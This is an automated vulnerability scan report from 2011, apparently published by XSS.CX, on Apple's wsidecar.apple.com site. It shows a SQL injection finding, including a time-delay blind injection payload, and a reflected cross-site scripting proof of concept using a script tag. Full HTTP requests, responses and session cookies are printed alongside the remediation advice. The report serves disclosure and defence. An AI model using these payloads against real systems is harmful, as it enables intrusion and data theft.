XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, wsidecar.apple.com

Report generated by XSS.CX at Tue Sep 27 21:15:46 CDT 2011.


Loading

1. SQL injection

2. Cross-site scripting (reflected)

XSS in wsidecar.apple.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

3. HTML does not specify charset



1. SQL injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /cgi-bin/upgrade_query/query.pl

Issue detail

The promoid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the promoid parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server. Also note that the attack pattern in PromoId of ';WAITFOR DELAY '0:0:25'-- confirms for Blind SQL Injection.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

POST /cgi-bin/upgrade_query/query.pl HTTP/1.1
Host: wsidecar.apple.com
Proxy-Connection: keep-alive
Content-Length: 137
Cache-Control: max-age=0
Origin: http://wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://wsidecar.apple.com/cgi-bin/upgrade_query/query.pl
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome; s_pv=apple%20-%20index%2Ftab%20(us); s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%2010%7C; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C1%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D; s_ppv=apple%2520-%2520index%2Ftab%2520%2528us%2529%2C87%2C87%2C866%2C; s_orientationHeight=866

promoid=iLife-from10%7C20'&company=xss&firstname=xss&lastname=xss&zip=10010&email=xss%40xss.cx&submit=%C2%A0%C2%A0Check+Status%C2%A0%C2%A0

Response 1

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 02:11:30 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
MS-Author-Via: DAV
ntCoent-Length: 4233
Content-Type: text/html
Cache-Control: private
Content-Length: 4233

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   <title>Apple
...[SNIP]...
<font face="Arial" size=2>Line 1: Incorrect syntax near '10010'.</font>
...[SNIP]...

Request 2

POST /cgi-bin/upgrade_query/query.pl HTTP/1.1
Host: wsidecar.apple.com
Proxy-Connection: keep-alive
Content-Length: 137
Cache-Control: max-age=0
Origin: http://wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://wsidecar.apple.com/cgi-bin/upgrade_query/query.pl
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome; s_pv=apple%20-%20index%2Ftab%20(us); s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%2010%7C; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C1%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D; s_ppv=apple%2520-%2520index%2Ftab%2520%2528us%2529%2C87%2C87%2C866%2C; s_orientationHeight=866

promoid=iLife-from10%7C20''&company=xss&firstname=xss&lastname=xss&zip=10010&email=xss%40xss.cx&submit=%C2%A0%C2%A0Check+Status%C2%A0%C2%A0

Response 2

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 02:11:31 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
MS-Author-Via: DAV
ntCoent-Length: 4095
Content-Type: text/html
Cache-Control: private
Content-Length: 4095

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   <title>Apple
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /cgi-bin/upgrade_query/query.pl

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 59a7d--><script>alert(1)</script>4e8c0a52740e6a02b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /cgi-bin/upgrade_query/query.pl?promoid=iLife-from10%7C20&company=xss&firstname=xss&lastname=xss&zip=10010&email=xss%40xss.cx&submit=%C2%A0%C2%A0Check+Status%C2%A0%C2%A0&59a7d--><script>alert(1)</script>4e8c0a52740e6a02b=1 HTTP/1.1
Host: wsidecar.apple.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Origin: http://wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://wsidecar.apple.com/cgi-bin/upgrade_query/query.pl
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome; s_pv=apple%20-%20index%2Ftab%20(us); s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%2010%7C; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C1%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D; s_ppv=apple%2520-%2520index%2Ftab%2520%2528us%2529%2C87%2C87%2C866%2C; s_orientationHeight=866

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 01:48:38 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
MS-Author-Via: DAV
ntCoent-Length: 4142
Content-Type: text/html
Cache-Control: private
Content-Length: 4142

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   <title>Apple
...[SNIP]...
<!-- query was http://apple.corporatesvcs.com/hwswinquiry.asp?firstname=xss&lastname=xss&email=xss@xss%2Ecx&zip=10010&promoid=iLife%2Dfrom10%7C20&company=xss&59a7d--><script>alert(1)</script>4e8c0a52740e6a02b=1 -->
...[SNIP]...

3. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET / HTTP/1.1
Host: wsidecar.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; s_invisit_n_us=77%2C62%2C46%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C1%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C1%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate; s_pv=store%20locator%20-%20index%20(US); s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2C; s_ppv=store%2520locator%2520-%2520index%2520%2528US%2529%2C65%2C65%2C866%2C; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 01:36:16 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
Accept-Ranges: bytes
MS-Author-Via: DAV
ntCoent-Length: 66
Content-Type: text/html
Cache-Control: private
Content-Length: 66

<META HTTP-EQUIV="refresh" content="0;URL=http://www.apple.com/">

Report generated by XSS.CX at Tue Sep 27 21:15:46 CDT 2011.